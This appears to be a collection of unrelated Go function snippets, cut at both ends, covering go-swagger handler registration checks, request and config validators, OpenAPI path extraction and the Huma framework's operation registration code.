o.ObjectsObjectsClassGetHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassGetHandler\")\n\t}\n\tif o.ObjectsObjectsClassHeadHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassHeadHandler\")\n\t}\n\tif o.ObjectsObjectsClassPatchHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassPatchHandler\")\n\t}\n\tif o.ObjectsObjectsClassPutHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassPutHandler\")\n\t}\n\tif o.ObjectsObjectsClassReferencesCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassReferencesCreateHandler\")\n\t}\n\tif o.ObjectsObjectsClassReferencesDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassReferencesDeleteHandler\")\n\t}\n\tif o.ObjectsObjectsClassReferencesPutHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsClassReferencesPutHandler\")\n\t}\n\tif o.ObjectsObjectsCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsCreateHandler\")\n\t}\n\tif o.ObjectsObjectsDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsDeleteHandler\")\n\t}\n\tif o.ObjectsObjectsGetHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsGetHandler\")\n\t}\n\tif o.ObjectsObjectsHeadHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsHeadHandler\")\n\t}\n\tif o.ObjectsObjectsListHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsListHandler\")\n\t}\n\tif o.ObjectsObjectsPatchHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsPatchHandler\")\n\t}\n\tif o.ObjectsObjectsReferencesCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsReferencesCreateHandler\")\n\t}\n\tif o.ObjectsObjectsReferencesDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsReferencesDeleteHandler\")\n\t}\n\tif o.ObjectsObjectsReferencesUpdateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsReferencesUpdateHandler\")\n\t}\n\tif o.ObjectsObjectsUpdateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsUpdateHandler\")\n\t}\n\tif o.ObjectsObjectsValidateHandler == nil {\n\t\tunregistered = append(unregistered, \"objects.ObjectsValidateHandler\")\n\t}\n\tif o.SchemaSchemaClusterStatusHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaClusterStatusHandler\")\n\t}\n\tif o.SchemaSchemaDumpHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaDumpHandler\")\n\t}\n\tif o.SchemaSchemaObjectsCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsCreateHandler\")\n\t}\n\tif o.SchemaSchemaObjectsDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsDeleteHandler\")\n\t}\n\tif o.SchemaSchemaObjectsGetHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsGetHandler\")\n\t}\n\tif o.SchemaSchemaObjectsPropertiesAddHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsPropertiesAddHandler\")\n\t}\n\tif o.SchemaSchemaObjectsShardsGetHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsShardsGetHandler\")\n\t}\n\tif o.SchemaSchemaObjectsShardsUpdateHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsShardsUpdateHandler\")\n\t}\n\tif o.SchemaSchemaObjectsUpdateHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.SchemaObjectsUpdateHandler\")\n\t}\n\tif o.SchemaTenantsCreateHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.TenantsCreateHandler\")\n\t}\n\tif o.SchemaTenantsDeleteHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.TenantsDeleteHandler\")\n\t}\n\tif o.SchemaTenantsGetHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.TenantsGetHandler\")\n\t}\n\tif o.SchemaTenantsUpdateHandler == nil {\n\t\tunregistered = append(unregistered, \"schema.TenantsUpdateHandler\")\n\t}\n\tif o.WeaviateRootHandler == nil {\n\t\tunregistered = append(unregistered, \"WeaviateRootHandler\")\n\t}\n\tif o.WeaviateWellknownLivenessHandler == nil {\n\t\tunregistered = append(unregistered, \"WeaviateWellknownLivenessHandler\")\n\t}\n\tif o.WeaviateWellknownReadinessHandler == nil {\n\t\tunregistered = append(unregistered, \"WeaviateWellknownReadinessHandler\")\n\t}\n\n\tif len(unregistered) > 0 {\n\t\treturn fmt.Errorf(\"missing registration: %s\", strings.Join(unregistered, \", \"))\n\t}\n\n\treturn nil\n}","func (v Validator) Validate(ctx context.Context, def *Definition, config map[string]any) ValidateResult {\n\tvar result ValidateResult\n\n\tconfigJSON, err := json.Marshal(config)\n\tif err != nil {\n\t\tresult.errors = append(result.errors, err)\n\t\treturn result\n\t}\n\n\tcommandExistsFunc := v.commandExists\n\tif commandExistsFunc == nil {\n\t\tcommandExistsFunc = commandExists\n\t}\n\n\t// validate that the required commands exist\n\tif def.Requirements != nil {\n\t\tfor _, command := range def.Requirements {\n\t\t\tif commandExistsFunc(command) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tresult.errors = append(result.errors, fmt.Errorf(\"%q %w\", command, ErrCommandNotInPATH))\n\t\t}\n\t}\n\n\t// validate that the config matches the json schema we have\n\tif def.Configuration != nil {\n\t\tvalErrors, err := def.Configuration.ValidateBytes(ctx, configJSON)\n\t\tif err != nil {\n\t\t\tresult.errors = append(result.errors, err)\n\t\t}\n\t\tfor _, err := range valErrors {\n\t\t\tresult.errors = append(result.errors, err)\n\t\t}\n\t}\n\n\treturn result\n}","func getPathDocuments(p config.Config, swagger *openapi3.Swagger, allDocuments docs.Index) docs.Index {\n\n\t// Create an empty Operation we can use to judge if field is undefined.\n\tvar emptyOp *openapi3.Operation\n\tio.WriteString(os.Stdout, fmt.Sprintf(\"\\033[1m %s\\033[0m (%v paths)\\n\", \"Paths\", len(swagger.Paths)))\n\tfor endpoint, path := range swagger.Paths {\n\n\t\t// GET Operation.\n\t\tif emptyOp != path.Get {\n\t\t\t// Make sure that the current path does not have a tag we'd like to ignore.\n\t\t\tif !ignore.ItemExists(p.Ignore, getTags(path.Get)) {\n\t\t\t\t// Append the document.\n\t\t\t\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Get, \"get\"))\n\t\t\t}\n\t\t}\n\t\t// POST Operation.\n\t\tif emptyOp != path.Post {\n\t\t\t// Make sure that the current path does not have a tag we'd like to ignore.\n\t\t\tif !ignore.ItemExists(p.Ignore, getTags(path.Post)) {\n\t\t\t\t// Append the document.\n\t\t\t\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Post, \"post\"))\n\t\t\t}\n\t\t}\n\t\t// DELETE Operation.\n\t\tif emptyOp != path.Delete {\n\t\t\t// Make sure that the current path does not have a tag we'd like to ignore.\n\t\t\tif !ignore.ItemExists(p.Ignore, getTags(path.Delete)) {\n\t\t\t\t// Append the document.\n\t\t\t\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Delete, \"delete\"))\n\t\t\t}\n\t\t}\n\t\t// PATCH Operation.\n\t\tif emptyOp != path.Patch {\n\t\t\t// Make sure that the current path does not have a tag we'd like to ignore.\n\t\t\tif !ignore.ItemExists(p.Ignore, getTags(path.Patch)) {\n\t\t\t\t// Append the document.\n\t\t\t\tallDocuments.Documents = append(allDocuments.Documents, getDocument(endpoint, p, path.Patch, \"patch\"))\n\t\t\t}\n\t\t}\n\t}\n\treturn allDocuments\n}","func (m JSONSchemaURL) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (t *Application_Application_Application_Endpoint) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Application_Application_Application_Endpoint\"], t, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func GetPathsFromSwagger(doc *loads.Document, config *Config, pathPrefix string) ([]Path, error) {\n\n\tswaggerVersion := doc.Spec().Info.Version\n\tif config.SuppressAPIVersion {\n\t\tswaggerVersion = \"\"\n\t}\n\n\tspec := doc.Analyzer\n\n\tswaggerPaths := spec.AllPaths()\n\tpaths := make([]Path, len(swaggerPaths))\n\n\tpathIndex := 0\n\tfor swaggerPath, swaggerPathItem := range swaggerPaths {\n\n\t\tswaggerPath = pathPrefix + swaggerPath\n\t\toverride := config.Overrides[swaggerPath]\n\n\t\tsearchPathTemp := override.Path\n\t\tvar searchPath string\n\t\tif searchPathTemp == \"\" {\n\t\t\tsearchPath = swaggerPath\n\t\t} else {\n\t\t\tsearchPath = searchPathTemp\n\t\t}\n\t\tsearchPath = strings.TrimRight(searchPath, \"/\")\n\t\tendpoint, err := endpoints.GetEndpointInfoFromURL(searchPath, swaggerVersion) // logical path\n\t\tif err != nil {\n\t\t\treturn []Path{}, err\n\t\t}\n\t\tsegment := endpoint.URLSegments[len(endpoint.URLSegments)-1]\n\t\tname := segment.Match\n\t\tif name == \"list\" && len(endpoint.URLSegments) > 2 {\n\t\t\tsegment = endpoint.URLSegments[len(endpoint.URLSegments)-2] // 'list' is generic and usually preceded by something more descriptive\n\t\t\tname = segment.Match\n\t\t}\n\t\tif name == \"\" {\n\t\t\tname = \"{\" + segment.Name + \"}\"\n\t\t}\n\t\tpath := Path{\n\t\t\tEndpoint: &endpoint,\n\t\t\tName: name,\n\t\t\tCondensedEndpointPath: stripPathNames(searchPath),\n\t\t}\n\n\t\tgetVerb := override.GetVerb\n\t\tif getVerb == \"\" {\n\t\t\tgetVerb = \"get\"\n\t\t}\n\n\t\tswaggerPathItemRef := swaggerPathItem\n\t\tgetOperation, err := getOperationByVerb(&swaggerPathItemRef, getVerb)\n\t\tif err != nil {\n\t\t\treturn []Path{}, err\n\t\t}\n\t\tif getOperation != nil {\n\t\t\tpath.Operations.Get.Permitted = true\n\t\t\tif getVerb != \"get\" {\n\t\t\t\tpath.Operations.Get.Verb = getVerb\n\t\t\t}\n\t\t\tif override.Path == \"\" || override.RewritePath {\n\t\t\t\tpath.Operations.Get.Endpoint = path.Endpoint\n\t\t\t} else {\n\t\t\t\toverriddenEndpoint, err := endpoints.GetEndpointInfoFromURL(swaggerPath, swaggerVersion)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn []Path{}, err\n\t\t\t\t}\n\t\t\t\tpath.Operations.Get.Endpoint = &overriddenEndpoint\n\t\t\t}\n\t\t}\n\t\tif swaggerPathItem.Delete != nil && getVerb != \"delete\" {\n\t\t\tpath.Operations.Delete.Permitted = true\n\t\t\tpath.Operations.Delete.Endpoint = path.Endpoint\n\t\t}\n\t\tif override.DeletePath != \"\" {\n\t\t\tpath.Operations.Delete.Permitted = true\n\t\t\tpath.Operations.Delete.Endpoint = endpoints.MustGetEndpointInfoFromURL(override.DeletePath, path.Endpoint.APIVersion)\n\t\t}\n\t\tif swaggerPathItem.Patch != nil && getVerb != \"patch\" {\n\t\t\tpath.Operations.Patch.Permitted = true\n\t\t\tpath.Operations.Patch.Endpoint = path.Endpoint\n\t\t}\n\t\tif swaggerPathItem.Post != nil && getVerb != \"post\" {\n\t\t\tpath.Operations.Post.Permitted = true\n\t\t\tpath.Operations.Post.Endpoint = path.Endpoint\n\t\t}\n\t\tif swaggerPathItem.Put != nil && getVerb != \"put\" {\n\t\t\tpath.Operations.Put.Permitted = true\n\t\t\tpath.Operations.Put.Endpoint = path.Endpoint\n\t\t}\n\t\tif override.PutPath != \"\" {\n\t\t\tpath.Operations.Put.Permitted = true\n\t\t\tpath.Operations.Put.Endpoint = endpoints.MustGetEndpointInfoFromURL(override.PutPath, path.Endpoint.APIVersion)\n\t\t}\n\n\t\tpaths[pathIndex] = path\n\t\tpathIndex++\n\t}\n\n\treturn paths, nil\n}","func (o *APICheck) Validate() error {\n\n\terrors := elemental.Errors{}\n\trequiredErrors := elemental.Errors{}\n\n\tif err := elemental.ValidateRequiredString(\"namespace\", o.Namespace); err != nil {\n\t\trequiredErrors = requiredErrors.Append(err)\n\t}\n\n\tif err := elemental.ValidatePattern(\"namespace\", o.Namespace, `^/[a-zA-Z0-9-_/]*$`, `must only contain alpha numerical characters, '-' or '_' and start with '/'`, true); err != nil {\n\t\terrors = errors.Append(err)\n\t}\n\n\tif err := elemental.ValidateRequiredString(\"operation\", string(o.Operation)); err != nil {\n\t\trequiredErrors = requiredErrors.Append(err)\n\t}\n\n\tif err := elemental.ValidateStringInList(\"operation\", string(o.Operation), []string{\"Create\", \"Delete\", \"Info\", \"Patch\", \"Retrieve\", \"RetrieveMany\", \"Update\"}, false); err != nil {\n\t\terrors = errors.Append(err)\n\t}\n\n\tif err := elemental.ValidateRequiredExternal(\"targetIdentities\", o.TargetIdentities); err != nil {\n\t\trequiredErrors = requiredErrors.Append(err)\n\t}\n\n\tif len(requiredErrors) > 0 {\n\t\treturn requiredErrors\n\t}\n\n\tif len(errors) > 0 {\n\t\treturn errors\n\t}\n\n\treturn nil\n}","func (o *ShortenerAPI) Validate() error {\n\tvar unregistered []string\n\n\tif o.JSONConsumer == nil {\n\t\tunregistered = append(unregistered, \"JSONConsumer\")\n\t}\n\n\tif o.JSONProducer == nil {\n\t\tunregistered = append(unregistered, \"JSONProducer\")\n\t}\n\n\tif o.BasicAuthAuth == nil {\n\t\tunregistered = append(unregistered, \"BasicAuthAuth\")\n\t}\n\n\tif o.LinkCreateShortLinkHandler == nil {\n\t\tunregistered = append(unregistered, \"link.CreateShortLinkHandler\")\n\t}\n\n\tif o.UserCreateUserHandler == nil {\n\t\tunregistered = append(unregistered, \"user.CreateUserHandler\")\n\t}\n\n\tif o.StatisticGetCurrentUserHandler == nil {\n\t\tunregistered = append(unregistered, \"statistic.GetCurrentUserHandler\")\n\t}\n\n\tif o.LinkGetLinkHandler == nil {\n\t\tunregistered = append(unregistered, \"link.GetLinkHandler\")\n\t}\n\n\tif o.StatisticGetLinkInfoHandler == nil {\n\t\tunregistered = append(unregistered, \"statistic.GetLinkInfoHandler\")\n\t}\n\n\tif o.LinkGetLinksHandler == nil {\n\t\tunregistered = append(unregistered, \"link.GetLinksHandler\")\n\t}\n\n\tif o.StatisticGetReferersHandler == nil {\n\t\tunregistered = append(unregistered, \"statistic.GetReferersHandler\")\n\t}\n\n\tif o.UserLoginUserHandler == nil {\n\t\tunregistered = append(unregistered, \"user.LoginUserHandler\")\n\t}\n\n\tif o.UserLogoutUserHandler == nil {\n\t\tunregistered = append(unregistered, \"user.LogoutUserHandler\")\n\t}\n\n\tif o.LinkRemoveLinkHandler == nil {\n\t\tunregistered = append(unregistered, \"link.RemoveLinkHandler\")\n\t}\n\n\tif len(unregistered) > 0 {\n\t\treturn fmt.Errorf(\"missing registration: %s\", strings.Join(unregistered, \", \"))\n\t}\n\n\treturn nil\n}","func TestCmd_Validate_Issue1238(t *testing.T) {\n\tlog.SetOutput(io.Discard)\n\tdefer log.SetOutput(os.Stdout)\n\tv := ValidateSpec{}\n\tbase := filepath.FromSlash(\"../../../\")\n\tspecDoc := filepath.Join(base, \"fixtures\", \"bugs\", \"1238\", \"swagger.yaml\")\n\tresult := v.Execute([]string{specDoc})\n\tif assert.Error(t, result) {\n\t\t/*\n\t\t\tThe swagger spec at \"../../../fixtures/bugs/1238/swagger.yaml\" is invalid against swagger specification 2.0. see errors :\n\t\t\t\t- definitions.RRSets in body must be of type array\n\t\t*/\n\t\tassert.Contains(t, result.Error(), \"is invalid against swagger specification 2.0\")\n\t\tassert.Contains(t, result.Error(), \"definitions.RRSets in body must be of type array\")\n\t}\n}","func ValidateVersion(h http.Handler) http.Handler {\n\tfn := func(w http.ResponseWriter, r *http.Request) {\n\t\turlPart := strings.Split(r.URL.Path, \"/\")\n\n\t\t// look for version in available version, or other endpoints\n\t\tfor _, ver := range jsonObject.Versions {\n\t\t\tif ver == urlPart[1] || r.URL.Path == \"/\" {\n\t\t\t\t// pass along\n\t\t\t\th.ServeHTTP(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// parse errror\n\t\tErrorHandler(w, r, http.StatusNotFound)\n\t\treturn\n\t}\n\treturn http.HandlerFunc(fn)\n}","func (r *DownloadDiffRequest) Validate() error {\n\tif err := requireProject(r.GetProject()); err != nil {\n\t\treturn err\n\t}\n\tif err := requireCommittish(\"committish\", r.GetCommittish()); err != nil {\n\t\treturn err\n\t}\n\tif base := r.GetBase(); base != \"\" {\n\t\tif err := requireCommittish(\"base\", base); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif strings.HasPrefix(r.Path, \"/\") {\n\t\treturn errors.New(\"path must not start with /\")\n\t}\n\treturn nil\n}","func (b BackendService) validate() error {\n\tvar err error\n\tif err = b.DeployConfig.validate(); err != nil {\n\t\treturn fmt.Errorf(`validate \"deployment\": %w`, err)\n\t}\n\tif err = b.BackendServiceConfig.validate(); err != nil {\n\t\treturn err\n\t}\n\tif err = b.Workload.validate(); err != nil {\n\t\treturn err\n\t}\n\tif err = validateTargetContainer(validateTargetContainerOpts{\n\t\tmainContainerName: aws.StringValue(b.Name),\n\t\tmainContainerPort: b.ImageConfig.Port,\n\t\ttargetContainer: b.HTTP.Main.TargetContainer,\n\t\tsidecarConfig: b.Sidecars,\n\t}); err != nil {\n\t\treturn fmt.Errorf(`validate load balancer target for \"http\": %w`, err)\n\t}\n\tfor idx, rule := range b.HTTP.AdditionalRoutingRules {\n\t\tif err = validateTargetContainer(validateTargetContainerOpts{\n\t\t\tmainContainerName: aws.StringValue(b.Name),\n\t\t\tmainContainerPort: b.ImageConfig.Port,\n\t\t\ttargetContainer: rule.TargetContainer,\n\t\t\tsidecarConfig: b.Sidecars,\n\t\t}); err != nil {\n\t\t\treturn fmt.Errorf(`validate load balancer target for \"http.additional_rules[%d]\": %w`, idx, err)\n\t\t}\n\t}\n\tif err = validateContainerDeps(validateDependenciesOpts{\n\t\tsidecarConfig: b.Sidecars,\n\t\timageConfig: b.ImageConfig.Image,\n\t\tmainContainerName: aws.StringValue(b.Name),\n\t\tlogging: b.Logging,\n\t}); err != nil {\n\t\treturn fmt.Errorf(\"validate container dependencies: %w\", err)\n\t}\n\tif err = validateExposedPorts(validateExposedPortsOpts{\n\t\tmainContainerName: aws.StringValue(b.Name),\n\t\tmainContainerPort: b.ImageConfig.Port,\n\t\tsidecarConfig: b.Sidecars,\n\t\talb: &b.HTTP,\n\t}); err != nil {\n\t\treturn fmt.Errorf(\"validate unique exposed ports: %w\", err)\n\t}\n\treturn nil\n}","func (m *Mux) validate(rw http.ResponseWriter, req *http.Request) bool {\n\tplen := len(req.URL.Path)\n\tif plen > 1 && req.URL.Path[plen-1:] == \"/\" {\n\t\tcleanURL(&req.URL.Path)\n\t\trw.Header().Set(\"Location\", req.URL.Path)\n\t\trw.WriteHeader(http.StatusFound)\n\t}\n\t// Retry to find a route that match\n\treturn m.parse(rw, req)\n}","func Register[I, O any](api API, op Operation, handler func(context.Context, *I) (*O, error)) {\n\toapi := api.OpenAPI()\n\tregistry := oapi.Components.Schemas\n\n\tif op.Method == \"\" || op.Path == \"\" {\n\t\tpanic(\"method and path must be specified in operation\")\n\t}\n\n\tinputType := reflect.TypeOf((*I)(nil)).Elem()\n\tif inputType.Kind() != reflect.Struct {\n\t\tpanic(\"input must be a struct\")\n\t}\n\tinputParams := findParams(registry, &op, inputType)\n\tinputBodyIndex := -1\n\tvar inSchema *Schema\n\tif f, ok := inputType.FieldByName(\"Body\"); ok {\n\t\tinputBodyIndex = f.Index[0]\n\t\tinSchema = registry.Schema(f.Type, true, getHint(inputType, f.Name, op.OperationID+\"Request\"))\n\t\top.RequestBody = &RequestBody{\n\t\t\tContent: map[string]*MediaType{\n\t\t\t\t\"application/json\": {\n\t\t\t\t\tSchema: inSchema,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tif op.BodyReadTimeout == 0 {\n\t\t\t// 5 second default\n\t\t\top.BodyReadTimeout = 5 * time.Second\n\t\t}\n\n\t\tif op.MaxBodyBytes == 0 {\n\t\t\t// 1 MB default\n\t\t\top.MaxBodyBytes = 1024 * 1024\n\t\t}\n\t}\n\trawBodyIndex := -1\n\tif f, ok := inputType.FieldByName(\"RawBody\"); ok {\n\t\trawBodyIndex = f.Index[0]\n\t}\n\tresolvers := findResolvers(resolverType, inputType)\n\tdefaults := findDefaults(inputType)\n\n\tif op.Responses == nil {\n\t\top.Responses = map[string]*Response{}\n\t}\n\toutputType := reflect.TypeOf((*O)(nil)).Elem()\n\tif outputType.Kind() != reflect.Struct {\n\t\tpanic(\"output must be a struct\")\n\t}\n\n\toutStatusIndex := -1\n\tif f, ok := outputType.FieldByName(\"Status\"); ok {\n\t\toutStatusIndex = f.Index[0]\n\t\tif f.Type.Kind() != reflect.Int {\n\t\t\tpanic(\"status field must be an int\")\n\t\t}\n\t\t// TODO: enum tag?\n\t\t// TODO: register each of the possible responses with the right model\n\t\t// and headers down below.\n\t}\n\toutHeaders := findHeaders(outputType)\n\toutBodyIndex := -1\n\toutBodyFunc := false\n\tif f, ok := outputType.FieldByName(\"Body\"); ok {\n\t\toutBodyIndex = f.Index[0]\n\t\tif f.Type.Kind() == reflect.Func {\n\t\t\toutBodyFunc = true\n\n\t\t\tif f.Type != bodyCallbackType {\n\t\t\t\tpanic(\"body field must be a function with signature func(huma.Context)\")\n\t\t\t}\n\t\t}\n\t\tstatus := op.DefaultStatus\n\t\tif status == 0 {\n\t\t\tstatus = http.StatusOK\n\t\t}\n\t\tstatusStr := fmt.Sprintf(\"%d\", status)\n\t\tif op.Responses[statusStr] == nil {\n\t\t\top.Responses[statusStr] = &Response{}\n\t\t}\n\t\tif op.Responses[statusStr].Description == \"\" {\n\t\t\top.Responses[statusStr].Description = http.StatusText(status)\n\t\t}\n\t\tif op.Responses[statusStr].Headers == nil {\n\t\t\top.Responses[statusStr].Headers = map[string]*Param{}\n\t\t}\n\t\tif !outBodyFunc {\n\t\t\toutSchema := registry.Schema(f.Type, true, getHint(outputType, f.Name, op.OperationID+\"Response\"))\n\t\t\tif op.Responses[statusStr].Content == nil {\n\t\t\t\top.Responses[statusStr].Content = map[string]*MediaType{}\n\t\t\t}\n\t\t\tif _, ok := op.Responses[statusStr].Content[\"application/json\"]; !ok {\n\t\t\t\top.Responses[statusStr].Content[\"application/json\"] = &MediaType{}\n\t\t\t}\n\t\t\top.Responses[statusStr].Content[\"application/json\"].Schema = outSchema\n\t\t}\n\t}\n\tif op.DefaultStatus == 0 {\n\t\tif outBodyIndex != -1 {\n\t\t\top.DefaultStatus = http.StatusOK\n\t\t} else {\n\t\t\top.DefaultStatus = http.StatusNoContent\n\t\t}\n\t}\n\tdefaultStatusStr := fmt.Sprintf(\"%d\", op.DefaultStatus)\n\tif op.Responses[defaultStatusStr] == nil {\n\t\top.Responses[defaultStatusStr] = &Response{\n\t\t\tDescription: http.StatusText(op.DefaultStatus),\n\t\t}\n\t}\n\tfor _, entry := range outHeaders.Paths {\n\t\t// Document the header's name and type.\n\t\tif op.Responses[defaultStatusStr].Headers == nil {\n\t\t\top.Responses[defaultStatusStr].Headers = map[string]*Param{}\n\t\t}\n\t\tv := entry.Value\n\t\top.Responses[defaultStatusStr].Headers[v.Name] = &Header{\n\t\t\t// We need to generate the schema from the field to get validation info\n\t\t\t// like min/max and enums. Useful to let the client know possible values.\n\t\t\tSchema: SchemaFromField(registry, outputType, v.Field),\n\t\t}\n\t}\n\n\tif len(op.Errors) > 0 && (len(inputParams.Paths) > 0 || inputBodyIndex >= -1) {\n\t\top.Errors = append(op.Errors, http.StatusUnprocessableEntity)\n\t}\n\tif len(op.Errors) > 0 {\n\t\top.Errors = append(op.Errors, http.StatusInternalServerError)\n\t}\n\n\texampleErr := NewError(0, \"\")\n\terrContentType := \"application/json\"\n\tif ctf, ok := exampleErr.(ContentTypeFilter); ok {\n\t\terrContentType = ctf.ContentType(errContentType)\n\t}\n\terrType := reflect.TypeOf(exampleErr)\n\terrSchema := registry.Schema(errType, true, getHint(errType, \"\", \"Error\"))\n\tfor _, code := range op.Errors {\n\t\top.Responses[fmt.Sprintf(\"%d\", code)] = &Response{\n\t\t\tDescription: http.StatusText(code),\n\t\t\tContent: map[string]*MediaType{\n\t\t\t\terrContentType: {\n\t\t\t\t\tSchema: errSchema,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\tif len(op.Responses) <= 1 && len(op.Errors) == 0 {\n\t\t// No errors are defined, so set a default response.\n\t\top.Responses[\"default\"] = &Response{\n\t\t\tDescription: \"Error\",\n\t\t\tContent: map[string]*MediaType{\n\t\t\t\terrContentType: {\n\t\t\t\t\tSchema: errSchema,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\tif !op.Hidden {\n\t\toapi.AddOperation(&op)\n\t}\n\n\ta := api.Adapter()\n\n\ta.Handle(&op, func(ctx Context) {\n\t\tvar input I\n\n\t\t// Get the validation dependencies from the shared pool.\n\t\tdeps := validatePool.Get().(*validateDeps)\n\t\tdefer func() {\n\t\t\tdeps.pb.Reset()\n\t\t\tdeps.res.Reset()\n\t\t\tvalidatePool.Put(deps)\n\t\t}()\n\t\tpb := deps.pb\n\t\tres := deps.res\n\n\t\terrStatus := http.StatusUnprocessableEntity\n\n\t\tv := reflect.ValueOf(&input).Elem()\n\t\tinputParams.Every(v, func(f reflect.Value, p *paramFieldInfo) {\n\t\t\tvar value string\n\t\t\tswitch p.Loc {\n\t\t\tcase \"path\":\n\t\t\t\tvalue = ctx.Param(p.Name)\n\t\t\tcase \"query\":\n\t\t\t\tvalue = ctx.Query(p.Name)\n\t\t\tcase \"header\":\n\t\t\t\tvalue = ctx.Header(p.Name)\n\t\t\t}\n\n\t\t\tpb.Reset()\n\t\t\tpb.Push(p.Loc)\n\t\t\tpb.Push(p.Name)\n\n\t\t\tif value == \"\" && p.Default != \"\" {\n\t\t\t\tvalue = p.Default\n\t\t\t}\n\n\t\t\tif p.Loc == \"path\" && value == \"\" {\n\t\t\t\t// Path params are always required.\n\t\t\t\tres.Add(pb, \"\", \"required path parameter is missing\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif value != \"\" {\n\t\t\t\tvar pv any\n\n\t\t\t\tswitch p.Type.Kind() {\n\t\t\t\tcase reflect.String:\n\t\t\t\t\tf.SetString(value)\n\t\t\t\t\tpv = value\n\t\t\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\t\t\tv, err := strconv.ParseInt(value, 10, 64)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tres.Add(pb, value, \"invalid integer\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tf.SetInt(v)\n\t\t\t\t\tpv = v\n\t\t\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\t\t\t\tv, err := strconv.ParseUint(value, 10, 64)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tres.Add(pb, value, \"invalid integer\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tf.SetUint(v)\n\t\t\t\t\tpv = v\n\t\t\t\tcase reflect.Float32, reflect.Float64:\n\t\t\t\t\tv, err := strconv.ParseFloat(value, 64)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tres.Add(pb, value, \"invalid float\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tf.SetFloat(v)\n\t\t\t\t\tpv = v\n\t\t\t\tcase reflect.Bool:\n\t\t\t\t\tv, err := strconv.ParseBool(value)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tres.Add(pb, value, \"invalid boolean\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tf.SetBool(v)\n\t\t\t\t\tpv = v\n\t\t\t\tdefault:\n\t\t\t\t\t// Special case: list of strings\n\t\t\t\t\tif f.Type().Kind() == reflect.Slice && f.Type().Elem().Kind() == reflect.String {\n\t\t\t\t\t\tvalues := strings.Split(value, \",\")\n\t\t\t\t\t\tf.Set(reflect.ValueOf(values))\n\t\t\t\t\t\tpv = values\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\n\t\t\t\t\t// Special case: time.Time\n\t\t\t\t\tif f.Type() == timeType {\n\t\t\t\t\t\ttimeFormat := time.RFC3339Nano\n\t\t\t\t\t\tif p.Loc == \"header\" {\n\t\t\t\t\t\t\ttimeFormat = http.TimeFormat\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif p.TimeFormat != \"\" {\n\t\t\t\t\t\t\ttimeFormat = p.TimeFormat\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tt, err := time.Parse(timeFormat, value)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tres.Add(pb, value, \"invalid time\")\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t\tf.Set(reflect.ValueOf(t))\n\t\t\t\t\t\tpv = t\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\n\t\t\t\t\tpanic(\"unsupported param type \" + p.Type.String())\n\t\t\t\t}\n\n\t\t\t\tif !op.SkipValidateParams {\n\t\t\t\t\tValidate(oapi.Components.Schemas, p.Schema, pb, ModeWriteToServer, pv, res)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\n\t\t// Read input body if defined.\n\t\tif inputBodyIndex 